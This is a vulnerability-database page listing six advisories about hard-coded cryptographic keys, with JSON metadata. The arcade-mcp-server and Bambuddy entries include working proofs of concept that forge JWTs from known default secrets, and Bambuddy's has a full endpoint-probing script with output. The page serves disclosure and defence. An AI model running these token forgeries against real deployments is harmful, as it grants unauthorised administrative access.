Common Weakness Enumeration
CWE-321
AllowedUse of Hard-coded Cryptographic Key
Abstraction: Variant · Status: Draft
The product uses a hard-coded, unchangeable cryptographic key.
583 vulnerabilities reference this CWE, most recent first.
GHSA-FMXW-52W5-JC84
Vulnerability from github – Published: 2022-05-13 01:36 – Updated: 2022-05-13 01:36
VLAI
Details
A Use of Hard-Coded Cryptographic Key issue was discovered in Hyundai Motor America Blue Link 3.9.5 and 3.9.4. The application uses a hard-coded decryption password to protect sensitive user information.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2017-6054"
],
"database_specific": {
"cwe_ids": [
"CWE-321",
"CWE-798"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-04-26T14:59:00Z",
"severity": "HIGH"
},
"details": "A Use of Hard-Coded Cryptographic Key issue was discovered in Hyundai Motor America Blue Link 3.9.5 and 3.9.4. The application uses a hard-coded decryption password to protect sensitive user information.",
"id": "GHSA-fmxw-52w5-jc84",
"modified": "2022-05-13T01:36:33Z",
"published": "2022-05-13T01:36:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6054"
},
{
"type": "WEB",
"url": "https://community.rapid7.com/community/infosec/blog/2017/04/25/r7-2017-02-hyundai-blue-link-potential-info-disclosure-fixed"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-17-115-03"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/98033"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G2JX-37X6-6438
Vulnerability from github – Published: 2025-12-02 17:55 – Updated: 2025-12-02 21:44
VLAI
Summary
arcade-mcp-server Has Default Hardcoded Worker Secret That Allows Full Unauthorized Access to All HTTP MCP Worker Endpoints
Details
Summary
The arcade-mcp HTTP server uses a hardcoded default worker secret ("dev") that is never validated or overridden during normal server startup. As a result, any unauthenticated attacker who knows this default key can forge valid JWTs and fully bypass the FastAPI authentication layer. This grants remote access to all worker endpoints—including tool enumeration and tool invocation—without credentials.
Anyone following the official quick-start guide is vulnerable unless they manually override ARCADE_WORKER_SECRET.
Details
The documented method for launching an HTTP MCP server (python server.py http) implicitly sets the worker secret to the hardcoded default "dev":
ArcadeSettings.server_secret defaults to "dev" (libs/arcade-mcp-server/arcade_mcp_server/settings.py:129–158)
create_arcade_mcp() passes this value directly to FastAPIWorker without validation (libs/arcade-mcp-server/arcade_mcp_server/worker.py:118–188)
BaseWorker._set_secret() accepts this value and does not enforce rotation (libs/arcade-serve/arcade_serve/core/base.py:42–83)
Because the worker’s signing key is constant and publicly documented, attackers can trivially generate valid HS256 JWTs:
The FastAPI worker auth middleware (arcade_serve/fastapi/auth.py) trusts any JWT signed with the worker secret.
The core auth layer (arcade_serve/core/auth.py) does not distinguish forged tokens from legitimate ones.
The official quick-start instructions (README.md:164–190) demonstrate launching an MCP server without mentioning worker-secret rotation. Users are told how to define tool secrets in .env, but not that the worker’s authentication key must be changed.
As a result, servers deployed following the documented workflow expose all /worker/* endpoints to anyone capable of generating a simple HS256 token using the known key.
This CVE was resolved by https://github.com/ArcadeAI/arcade-mcp/pull/691
PoC
Start the server using the official guide https://docs.arcade.dev/en/home/build-tools/create-a-mcp-server
Verify that unauthenticated access is rejected (expected)
curl -s -D - http://127.0.0.1:8000/worker/tools
# → 403 Forbidden
Forge a valid HS256 token using the hardcoded default secret "dev"
import jwt
print(jwt.encode({'ver': '1', 'aud': 'worker'}, 'dev', algorithm='HS256'))
Use the forged token to bypass authentication
curl -s -D - \
-H "Authorization: Bearer $(cat /tmp/forged_token.txt)" \
http://127.0.0.1:8000/worker/tools
Result: The server responds 200 OK with the full tool catalog and allows invocation of all worker tools.
Server logs show a rejected request immediately followed by a successful forged request, confirming the bypass.
Impact
This is an authentication bypass that results in full remote access to all MCP worker endpoints:
Unauthenticated attackers can enumerate tools
Invoke arbitrary tools remotely
Access any data returned by tools (including secrets loaded into ToolContext)
Execute actions inside internal systems if tools expose operational capabilities
Perform these actions without any brute forcing or guesswork due to the known default signing key
Any user who follows the official setup guide is exposed unless they manually override ARCADE_WORKER_SECRET, which is not documented.
This vulnerability effectively gives complete remote control over the MCP worker API to any attacker aware of the default key.
Severity
6.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "arcade-mcp-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-66454"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-321"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-02T17:55:44Z",
"nvd_published_at": "2025-12-02T19:15:52Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe arcade-mcp HTTP server uses a hardcoded default worker secret (\"dev\") that is never validated or overridden during normal server startup. As a result, any unauthenticated attacker who knows this default key can forge valid JWTs and fully bypass the FastAPI authentication layer. This grants remote access to all worker endpoints\u2014including tool enumeration and tool invocation\u2014without credentials.\n\nAnyone following the official quick-start guide is vulnerable unless they manually override ARCADE_WORKER_SECRET.\n\n### Details\n\nThe documented method for launching an HTTP MCP server (python server.py http) implicitly sets the worker secret to the hardcoded default \"dev\":\n\nArcadeSettings.server_secret defaults to \"dev\"\n(libs/arcade-mcp-server/arcade_mcp_server/settings.py:129\u2013158)\n\ncreate_arcade_mcp() passes this value directly to FastAPIWorker without validation\n(libs/arcade-mcp-server/arcade_mcp_server/worker.py:118\u2013188)\n\nBaseWorker._set_secret() accepts this value and does not enforce rotation\n(libs/arcade-serve/arcade_serve/core/base.py:42\u201383)\n\nBecause the worker\u2019s signing key is constant and publicly documented, attackers can trivially generate valid HS256 JWTs:\n\nThe FastAPI worker auth middleware (arcade_serve/fastapi/auth.py) trusts any JWT signed with the worker secret.\n\nThe core auth layer (arcade_serve/core/auth.py) does not distinguish forged tokens from legitimate ones.\n\nThe official quick-start instructions (README.md:164\u2013190) demonstrate launching an MCP server without mentioning worker-secret rotation. Users are told how to define tool secrets in .env, but not that the worker\u2019s authentication key must be changed.\n\nAs a result, servers deployed following the documented workflow expose all /worker/* endpoints to anyone capable of generating a simple HS256 token using the known key.\n\nThis CVE was resolved by https://github.com/ArcadeAI/arcade-mcp/pull/691\n\n### PoC\n\nStart the server using the official guide\nhttps://docs.arcade.dev/en/home/build-tools/create-a-mcp-server\n\nVerify that unauthenticated access is rejected (expected)\n```\ncurl -s -D - http://127.0.0.1:8000/worker/tools\n# \u2192 403 Forbidden\n```\n\nForge a valid HS256 token using the hardcoded default secret \"dev\"\n```\nimport jwt\nprint(jwt.encode({\u0027ver\u0027: \u00271\u0027, \u0027aud\u0027: \u0027worker\u0027}, \u0027dev\u0027, algorithm=\u0027HS256\u0027))\n```\n\nUse the forged token to bypass authentication\n```\ncurl -s -D - \\\n -H \"Authorization: Bearer $(cat /tmp/forged_token.txt)\" \\\n http://127.0.0.1:8000/worker/tools\n```\n\nResult:\nThe server responds 200 OK with the full tool catalog and allows invocation of all worker tools.\n\nServer logs show a rejected request immediately followed by a successful forged request, confirming the bypass.\n\n### Impact\n\nThis is an authentication bypass that results in full remote access to all MCP worker endpoints:\n\nUnauthenticated attackers can enumerate tools\n\nInvoke arbitrary tools remotely\n\nAccess any data returned by tools (including secrets loaded into ToolContext)\n\nExecute actions inside internal systems if tools expose operational capabilities\n\nPerform these actions without any brute forcing or guesswork due to the known default signing key\n\nAny user who follows the official setup guide is exposed unless they manually override ARCADE_WORKER_SECRET, which is not documented.\n\nThis vulnerability effectively gives complete remote control over the MCP worker API to any attacker aware of the default key.",
"id": "GHSA-g2jx-37x6-6438",
"modified": "2025-12-02T21:44:00Z",
"published": "2025-12-02T17:55:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ArcadeAI/arcade-mcp/security/advisories/GHSA-g2jx-37x6-6438"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66454"
},
{
"type": "WEB",
"url": "https://github.com/ArcadeAI/arcade-mcp/pull/691"
},
{
"type": "WEB",
"url": "https://github.com/ArcadeAI/arcade-mcp/commit/44660d18ceb220600401303df860a31ca766c817"
},
{
"type": "WEB",
"url": "https://github.com/ArcadeAI/arcade-mcp/commit/7fb097f20fbea35e382a1b78da6fd90609c55a9e"
},
{
"type": "PACKAGE",
"url": "https://github.com/ArcadeAI/arcade-mcp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "arcade-mcp-server Has Default Hardcoded Worker Secret That Allows Full Unauthorized Access to All HTTP MCP Worker Endpoints"
}
GHSA-G5JR-34R4-RV4W
Vulnerability from github – Published: 2024-01-27 03:30 – Updated: 2024-02-01 06:31
VLAI
Details
Use of encryption key derived from static information in Synaptics Fingerprint Driver allows
an attacker to set up a TLS session with the fingerprint sensor and send restricted commands to the fingerprint sensor. This may allow an attacker, who has physical access to the sensor, to enroll a fingerprint into the template database.
Severity
5.2 (Medium)
{
"affected": [],
"aliases": [
"CVE-2023-6482"
],
"database_specific": {
"cwe_ids": [
"CWE-321",
"CWE-798"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-27T01:15:08Z",
"severity": "MODERATE"
},
"details": "Use of encryption key derived from static information in Synaptics Fingerprint Driver allows \n\nan attacker to set up a TLS session with the fingerprint sensor and send restricted commands to the fingerprint sensor.\u00a0This may \nallow an attacker, who has physical access to the sensor, to enroll a fingerprint into the \ntemplate database.",
"id": "GHSA-g5jr-34r4-rv4w",
"modified": "2024-02-01T06:31:04Z",
"published": "2024-01-27T03:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6482"
},
{
"type": "WEB",
"url": "https://www.synaptics.com/sites/default/files/2024-01/fingerprint-driver-encryption-key-security-brief-2024-01-26.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G7VP-J25F-H34P
Vulnerability from github – Published: 2026-02-04 23:21 – Updated: 2026-02-04 23:21
VLAI
Summary
EVE Has Partially Predetermined Vault Key
Details
Impact
The deriveVaultKey function calls retrieveCloudKey which always returns "foobarfoobarfoobarfoobarfoobarfo". When merged with the randomly generated 32-byte key using mergeKeys (16 bytes from each), the last 16 bytes are always "arfoobarfoobarfo". This enables an attacker with physical access to the EVE-OS device to attempt to brute force the remaining 128 bits of key.
Patches
Fixed in 7.10 and 8.12.1-lts
Workarounds
None
Severity
6.7 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lf-edge/eve"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20220310190112-c0c966dc31e2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-43637"
],
"database_specific": {
"cwe_ids": [
"CWE-321",
"CWE-798"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-04T23:21:25Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\nThe deriveVaultKey function calls retrieveCloudKey which always returns \"foobarfoobarfoobarfoobarfoobarfo\". When merged with the randomly generated 32-byte key using mergeKeys (16 bytes from each), the last 16 bytes are always \"arfoobarfoobarfo\". This enables an attacker with physical access to the EVE-OS device to attempt to brute force the remaining 128 bits of key.\n\n### Patches\n\nFixed in 7.10 and 8.12.1-lts\n\n### Workarounds\n\nNone",
"id": "GHSA-g7vp-j25f-h34p",
"modified": "2026-02-04T23:21:25Z",
"published": "2026-02-04T23:21:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lf-edge/eve/security/advisories/GHSA-g7vp-j25f-h34p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43637"
},
{
"type": "WEB",
"url": "https://github.com/lf-edge/eve/commit/c0c966dc31e2ed9aafc155e6be646adb14756c01"
},
{
"type": "WEB",
"url": "https://asrg.io/security-advisories/cve-2023-43637"
},
{
"type": "WEB",
"url": "https://asrg.io/security-advisories/vault-key-partially-predetermined"
},
{
"type": "PACKAGE",
"url": "https://github.com/lf-edge/eve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "EVE Has Partially Predetermined Vault Key"
}
GHSA-G88C-8GFJ-6C98
Vulnerability from github – Published: 2026-04-16 18:31 – Updated: 2026-05-26 21:31
VLAI
Details
Hard-coded ASP.NET/IIS machineKey value in Digital Knowledge KnowledgeDeliver deployments prior to February 24, 2026 allows adversaries to circumvent ViewState validation mechanisms and achieve remote code execution via malicious ViewState deserialization attacks
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2026-5426"
],
"database_specific": {
"cwe_ids": [
"CWE-321"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-16T16:16:17Z",
"severity": "HIGH"
},
"details": "Hard-coded ASP.NET/IIS machineKey value in Digital Knowledge KnowledgeDeliver deployments prior to February 24, 2026 allows adversaries to circumvent ViewState validation mechanisms and achieve remote code execution via malicious ViewState deserialization attacks",
"id": "GHSA-g88c-8gfj-6c98",
"modified": "2026-05-26T21:31:37Z",
"published": "2026-04-16T18:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5426"
},
{
"type": "WEB",
"url": "https://cloud.google.com/blog/topics/threat-intelligence/knowledgedeliver-viewstate-deserialization-vulnerability"
},
{
"type": "WEB",
"url": "https://github.com/mandiant/Vulnerability-Disclosures/blob/master/2026/MNDT-2026-0009.md"
},
{
"type": "WEB",
"url": "https://www.digital-knowledge.co.jp/product/kd"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GC24-PX2R-5QMF
Vulnerability from github – Published: 2026-02-02 21:21 – Updated: 2026-02-06 21:38
VLAI
Summary
Bambuddy Uses Hardcoded Secret Key + Many API Endpoints do not Require Authentication
Details
Summary
- A hardcoded secret key used for signing JWTs is checked into source code
- ManyAPI routes do not check authentication
Details
I am using the publicly available docker image at ghcr.io/maziggy/bambuddy
1. Hardcoded JWT Secret Key
https://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28
Copying the Authorization token from a request via browser networking tools into JWT.io confirms the token is signed with this keyAny attacker can: 1. Forge valid JWT tokens for any user 2. Bypass authentication entirely 3. Gain full administrative access to any Bambuddy instance using the default key
Steps to Reproduce:
- Run an instance of BamBuddy
- Create admin user
- Forge and use JWT:
import jwt
import requests
token = jwt.encode({"sub": "admin", "exp": 9999999999}, "bambuddy-secret-key-change-in-production", algorithm="HS256")
resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={"Authorization": f"Bearer {token}"})
print(resp.status_code) # 200
print(resp.text) # {"app":{"version":"0.1.7b","base_dir":"/app/data","archive_dir":"/app/data/archive"},"database": ...
2. Most API Routes do not check Auth
While investigating the JWT forgery, I noticed that requests without Authorization headers still returned information for many endpoints:
resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={}) # Empty headers
print(resp.status_code) # 200
print(resp.text) # {"app":{"version":"0.1.7b","base_dir":"/app/data","archive_dir":"/app/data/archive"},"database": ...
Full Script and Output
Note: I do not have smart plugs or spoolman set up to verify actual behavior with those endpoints so they are excluded from this script.
Script to test GET endpoints with forged JWT and without any auth#!/usr/bin/env python3
"""
Proof of Concept: JWT Forgery via Hardcoded Secret Key (VULN-001)
For security research purposes only.
Tests all GET endpoints to identify which are accessible without authentication.
"""
import requests
import jwt
# Hardcoded secret from backend/app/core/auth.py:28
HARDCODED_SECRET = "bambuddy-secret-key-change-in-production"
TARGET = "http://10.0.0.4:8000"
API_PREFIX = "/api/v1"
# All GET endpoints organized by router
ENDPOINTS = {
"system": [
"/system/info",
],
"auth": [
"/auth/status",
"/auth/me",
],
"users": [
"/users",
"/users/1",
"/users/1/items-count",
],
"groups": [
"/groups",
"/groups/permissions",
"/groups/1",
],
"settings": [
"/settings",
"/settings/check-ffmpeg",
"/settings/spoolman",
"/settings/backup",
"/settings/virtual-printer/models",
"/settings/virtual-printer",
"/settings/mqtt/status",
],
"printers": [
"/printers/",
"/printers/usb-cameras",
"/printers/1",
"/printers/1/status",
"/printers/1/current-print-user",
"/printers/1/cover",
"/printers/1/files",
"/printers/1/storage",
"/printers/1/logging",
"/printers/1/slot-presets",
"/printers/1/slot-presets/1/1",
"/printers/1/print/objects",
"/printers/1/runtime-debug",
"/printers/1/camera/status",
"/printers/1/camera/test",
"/printers/1/camera/plate-detection/status",
"/printers/1/camera/plate-detection/references",
"/printers/1/kprofiles/",
"/printers/1/kprofiles/notes",
],
"archives": [
"/archives/",
"/archives/search",
"/archives/compare",
"/archives/analysis/failures",
"/archives/stats",
"/archives/tags",
"/archives/1",
"/archives/1/similar",
"/archives/1/duplicates",
"/archives/1/capabilities",
"/archives/1/gcode",
"/archives/1/plates",
"/archives/1/filament-requirements",
"/archives/1/project-page",
"/archives/1/source",
],
"filaments": [
"/filaments/",
"/filaments/1",
"/filaments/by-type/pla",
],
"cloud": [
"/cloud/status",
"/cloud/settings",
"/cloud/settings/1",
"/cloud/devices",
"/cloud/firmware-updates",
"/cloud/fields",
"/cloud/fields/print",
],
"queue": [
"/queue/",
"/queue/1",
],
"notifications": [
"/notifications/",
"/notifications/logs",
"/notifications/logs/stats",
"/notifications/1",
],
"notification_templates": [
"/notification-templates",
"/notification-templates/variables",
"/notification-templates/1",
],
"updates": [
"/updates/version",
"/updates/check",
"/updates/status",
],
"maintenance": [
"/maintenance/types",
"/maintenance/overview",
"/maintenance/summary",
"/maintenance/printers/1",
"/maintenance/items/1/history",
],
"external_links": [
"/external-links/",
"/external-links/1",
],
"projects": [
"/projects",
"/projects/templates",
"/projects/1",
"/projects/1/archives",
"/projects/1/queue",
"/projects/1/bom",
"/projects/1/timeline",
],
"library": [
"/library/folders",
"/library/folders/by-archive/1",
"/library/folders/by-project/1",
"/library/files",
"/library/stats",
"/library/folders/1",
"/library/files/1",
"/library/files/1/plates",
"/library/files/1/gcode",
"/library/files/1/filament-requirements",
],
"api_keys": [
"/api-keys/",
"/api-keys/1",
],
"webhook": [
"/webhook/printer/1/status",
"/webhook/queue",
],
"ams_history": [
"/ams-history/1/1",
],
"support": [
"/support/debug-logging",
"/support/logs",
],
"discovery": [
"/discovery/info",
"/discovery/status",
"/discovery/printers",
"/discovery/scan/status",
],
"pending_uploads": [
"/pending-uploads/",
"/pending-uploads/count",
"/pending-uploads/1",
],
"firmware": [
"/firmware/updates",
"/firmware/updates/1",
"/firmware/latest",
],
"github_backup": [
"/github-backup/config",
"/github-backup/status",
"/github-backup/logs",
],
"metrics": [
"/metrics",
],
}
def forge_token():
"""Forge a valid JWT token using the hardcoded secret."""
payload = {"sub": "admin", "exp": 9999999999}
return jwt.encode(payload, HARDCODED_SECRET, algorithm="HS256")
def test_endpoint(endpoint, headers):
"""Test a single endpoint and return status."""
try:
resp = requests.get(f"{TARGET}{API_PREFIX}{endpoint}", headers=headers, timeout=5)
return resp.status_code, resp.text[:100] if resp.status_code == 200 else None
except requests.RequestException as e:
return "ERROR", str(e)[:50]
def main():
token = forge_token()
print(f"[*] Forged JWT token:\n {token}\n")
# Test with no auth, then with forged JWT
test_modes = [
("NO AUTH", {}),
("FORGED JWT", {"Authorization": f"Bearer {token}"}),
]
results = {"no_auth": [], "jwt_only": [], "both_fail": []}
print(f"[*] Testing {sum(len(v) for v in ENDPOINTS.values())} endpoints against {TARGET}\n")
print("=" * 70)
for category, endpoints in ENDPOINTS.items():
print(f"\n[{category.upper()}]")
for endpoint in endpoints:
no_auth_status, _ = test_endpoint(endpoint, {})
jwt_status, preview = test_endpoint(endpoint, {"Authorization": f"Bearer {token}"})
if no_auth_status == 200:
results["no_auth"].append(endpoint)
print(f" {endpoint}: NO AUTH REQUIRED")
elif jwt_status == 200:
results["jwt_only"].append(endpoint)
print(f" {endpoint}: JWT WORKS")
else:
results["both_fail"].append((endpoint, no_auth_status, jwt_status))
print(f" {endpoint}: {no_auth_status} / {jwt_status}")
# Summary
print("\n" + "=" * 70)
print("\n[SUMMARY]\n")
print(f"Endpoints accessible WITHOUT authentication ({len(results['no_auth'])}):")
for ep in results["no_auth"]:
print(f" - {ep}")
print(f"\nEndpoints accessible with FORGED JWT only ({len(results['jwt_only'])}):")
for ep in results["jwt_only"]:
print(f" - {ep}")
print(f"\nEndpoints that rejected both ({len(results['both_fail'])}):")
for ep, no_auth, jwt_auth in results["both_fail"]:
print(f" - {ep} (no_auth: {no_auth}, jwt: {jwt_auth})")
if __name__ == "__main__":
main()
[*] Forged JWT token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzcGVlbmFoIiwiZXhwIjo5OTk5OTk5OTk5fQ.xeUmpf4PkhI7jHHGBPLWQEQQ4GTiiUOENeQkPpvNMnA
[*] Testing 117 endpoints against http://10.0.0.4:8000
======================================================================
[SYSTEM]
/system/info: NO AUTH REQUIRED
[AUTH]
/auth/status: NO AUTH REQUIRED
/auth/me: JWT WORKS
[USERS]
/users: JWT WORKS
/users/1: JWT WORKS
/users/1/items-count: JWT WORKS
[GROUPS]
/groups: JWT WORKS
/groups/permissions: JWT WORKS
/groups/1: JWT WORKS
[SETTINGS]
/settings: NO AUTH REQUIRED
/settings/check-ffmpeg: NO AUTH REQUIRED
/settings/spoolman: NO AUTH REQUIRED
/settings/backup: NO AUTH REQUIRED
/settings/virtual-printer/models: NO AUTH REQUIRED
/settings/virtual-printer: NO AUTH REQUIRED
/settings/mqtt/status: NO AUTH REQUIRED
[PRINTERS]
/printers/: JWT WORKS
/printers/usb-cameras: JWT WORKS
/printers/1: JWT WORKS
/printers/1/status: JWT WORKS
/printers/1/current-print-user: JWT WORKS
/printers/1/cover: JWT WORKS
/printers/1/files: JWT WORKS
/printers/1/storage: JWT WORKS
/printers/1/logging: JWT WORKS
/printers/1/slot-presets: JWT WORKS
/printers/1/slot-presets/1/1: JWT WORKS
/printers/1/print/objects: JWT WORKS
/printers/1/runtime-debug: JWT WORKS
/printers/1/camera/status: NO AUTH REQUIRED
/printers/1/camera/test: ERROR / ERROR
/printers/1/camera/plate-detection/status: NO AUTH REQUIRED
/printers/1/camera/plate-detection/references: NO AUTH REQUIRED
/printers/1/kprofiles/: ERROR / ERROR
/printers/1/kprofiles/notes: NO AUTH REQUIRED
[ARCHIVES]
/archives/: NO AUTH REQUIRED
/archives/search: 422 / 422
/archives/compare: 422 / 422
/archives/analysis/failures: NO AUTH REQUIRED
/archives/stats: NO AUTH REQUIRED
/archives/tags: NO AUTH REQUIRED
/archives/1: NO AUTH REQUIRED
/archives/1/similar: NO AUTH REQUIRED
/archives/1/duplicates: NO AUTH REQUIRED
/archives/1/capabilities: NO AUTH REQUIRED
/archives/1/gcode: NO AUTH REQUIRED
/archives/1/plates: NO AUTH REQUIRED
/archives/1/filament-requirements: NO AUTH REQUIRED
/archives/1/project-page: NO AUTH REQUIRED
/archives/1/source: 404 / 404
[FILAMENTS]
/filaments/: NO AUTH REQUIRED
/filaments/1: NO AUTH REQUIRED
/filaments/by-type/pla: NO AUTH REQUIRED
[CLOUD]
/cloud/status: NO AUTH REQUIRED
/cloud/settings: 401 / 401
/cloud/settings/1: 401 / 401
/cloud/devices: 401 / 401
/cloud/firmware-updates: 401 / 401
/cloud/fields: NO AUTH REQUIRED
/cloud/fields/print: NO AUTH REQUIRED
[QUEUE]
/queue/: NO AUTH REQUIRED
/queue/1: 404 / 404
[NOTIFICATIONS]
/notifications/: NO AUTH REQUIRED
/notifications/logs: NO AUTH REQUIRED
/notifications/logs/stats: NO AUTH REQUIRED
/notifications/1: 404 / 404
[NOTIFICATION_TEMPLATES]
/notification-templates: NO AUTH REQUIRED
/notification-templates/variables: NO AUTH REQUIRED
/notification-templates/1: NO AUTH REQUIRED
[UPDATES]
/updates/version: NO AUTH REQUIRED
/updates/check: NO AUTH REQUIRED
/updates/status: NO AUTH REQUIRED
[MAINTENANCE]
/maintenance/types: NO AUTH REQUIRED
/maintenance/overview: NO AUTH REQUIRED
/maintenance/summary: NO AUTH REQUIRED
/maintenance/printers/1: NO AUTH REQUIRED
/maintenance/items/1/history: NO AUTH REQUIRED
[EXTERNAL_LINKS]
/external-links/: NO AUTH REQUIRED
/external-links/1: 404 / 404
[PROJECTS]
/projects: NO AUTH REQUIRED
/projects/templates: NO AUTH REQUIRED
/projects/1: NO AUTH REQUIRED
/projects/1/archives: NO AUTH REQUIRED
/projects/1/queue: NO AUTH REQUIRED
/projects/1/bom: NO AUTH REQUIRED
/projects/1/timeline: NO AUTH REQUIRED
[LIBRARY]
/library/folders: NO AUTH REQUIRED
/library/folders/by-archive/1: NO AUTH REQUIRED
/library/folders/by-project/1: NO AUTH REQUIRED
/library/files: NO AUTH REQUIRED
/library/stats: NO AUTH REQUIRED
/library/folders/1: NO AUTH REQUIRED
/library/files/1: 404 / 404
/library/files/1/plates: 404 / 404
/library/files/1/gcode: 404 / 404
/library/files/1/filament-requirements: 404 / 404
[API_KEYS]
/api-keys/: NO AUTH REQUIRED
/api-keys/1: NO AUTH REQUIRED
[WEBHOOK]
/webhook/printer/1/status: 401 / 401
/webhook/queue: 401 / 401
[AMS_HISTORY]
/ams-history/1/1: NO AUTH REQUIRED
[SUPPORT]
/support/debug-logging: NO AUTH REQUIRED
/support/logs: NO AUTH REQUIRED
[DISCOVERY]
/discovery/info: NO AUTH REQUIRED
/discovery/status: NO AUTH REQUIRED
/discovery/printers: NO AUTH REQUIRED
/discovery/scan/status: NO AUTH REQUIRED
[PENDING_UPLOADS]
/pending-uploads/: NO AUTH REQUIRED
/pending-uploads/count: NO AUTH REQUIRED
/pending-uploads/1: 404 / 404
[FIRMWARE]
/firmware/updates: NO AUTH REQUIRED
/firmware/updates/1: NO AUTH REQUIRED
/firmware/latest: NO AUTH REQUIRED
[GITHUB_BACKUP]
/github-backup/config: NO AUTH REQUIRED
/github-backup/status: NO AUTH REQUIRED
/github-backup/logs: NO AUTH REQUIRED
[METRICS]
/metrics: 401 / 401
======================================================================
[SUMMARY]
Endpoints accessible WITHOUT authentication (77):
- /system/info
- /auth/status
- /settings
- /settings/check-ffmpeg
- /settings/spoolman
- /settings/backup
- /settings/virtual-printer/models
- /settings/virtual-printer
- /settings/mqtt/status
- /printers/1/camera/status
- /printers/1/camera/plate-detection/status
- /printers/1/camera/plate-detection/references
- /printers/1/kprofiles/notes
- /archives/
- /archives/analysis/failures
- /archives/stats
- /archives/tags
- /archives/1
- /archives/1/similar
- /archives/1/duplicates
- /archives/1/capabilities
- /archives/1/gcode
- /archives/1/plates
- /archives/1/filament-requirements
- /archives/1/project-page
- /filaments/
- /filaments/1
- /filaments/by-type/pla
- /cloud/status
- /cloud/fields
- /cloud/fields/print
- /queue/
- /notifications/
- /notifications/logs
- /notifications/logs/stats
- /notification-templates
- /notification-templates/variables
- /notification-templates/1
- /updates/version
- /updates/check
- /updates/status
- /maintenance/types
- /maintenance/overview
- /maintenance/summary
- /maintenance/printers/1
- /maintenance/items/1/history
- /external-links/
- /projects
- /projects/templates
- /projects/1
- /projects/1/archives
- /projects/1/queue
- /projects/1/bom
- /projects/1/timeline
- /library/folders
- /library/folders/by-archive/1
- /library/folders/by-project/1
- /library/files
- /library/stats
- /library/folders/1
- /api-keys/
- /api-keys/1
- /ams-history/1/1
- /support/debug-logging
- /support/logs
- /discovery/info
- /discovery/status
- /discovery/printers
- /discovery/scan/status
- /pending-uploads/
- /pending-uploads/count
- /firmware/updates
- /firmware/updates/1
- /firmware/latest
- /github-backup/config
- /github-backup/status
- /github-backup/logs
Endpoints accessible with FORGED JWT only (20):
- /auth/me
- /users
- /users/1
- /users/1/items-count
- /groups
- /groups/permissions
- /groups/1
- /printers/
- /printers/usb-cameras
- /printers/1
- /printers/1/status
- /printers/1/current-print-user
- /printers/1/cover
- /printers/1/files
- /printers/1/storage
- /printers/1/logging
- /printers/1/slot-presets
- /printers/1/slot-presets/1/1
- /printers/1/print/objects
- /printers/1/runtime-debug
Endpoints that rejected both (20):
- /printers/1/camera/test (no_auth: ERROR, jwt: ERROR)
- /printers/1/kprofiles/ (no_auth: ERROR, jwt: ERROR)
- /archives/search (no_auth: 422, jwt: 422)
- /archives/compare (no_auth: 422, jwt: 422)
- /archives/1/source (no_auth: 404, jwt: 404)
- /cloud/settings (no_auth: 401, jwt: 401)
- /cloud/settings/1 (no_auth: 401, jwt: 401)
- /cloud/devices (no_auth: 401, jwt: 401)
- /cloud/firmware-updates (no_auth: 401, jwt: 401)
- /queue/1 (no_auth: 404, jwt: 404)
- /notifications/1 (no_auth: 404, jwt: 404)
- /external-links/1 (no_auth: 404, jwt: 404)
- /library/files/1 (no_auth: 404, jwt: 404)
- /library/files/1/plates (no_auth: 404, jwt: 404)
- /library/files/1/gcode (no_auth: 404, jwt: 404)
- /library/files/1/filament-requirements (no_auth: 404, jwt: 404)
- /webhook/printer/1/status (no_auth: 401, jwt: 401)
- /webhook/queue (no_auth: 401, jwt: 401)
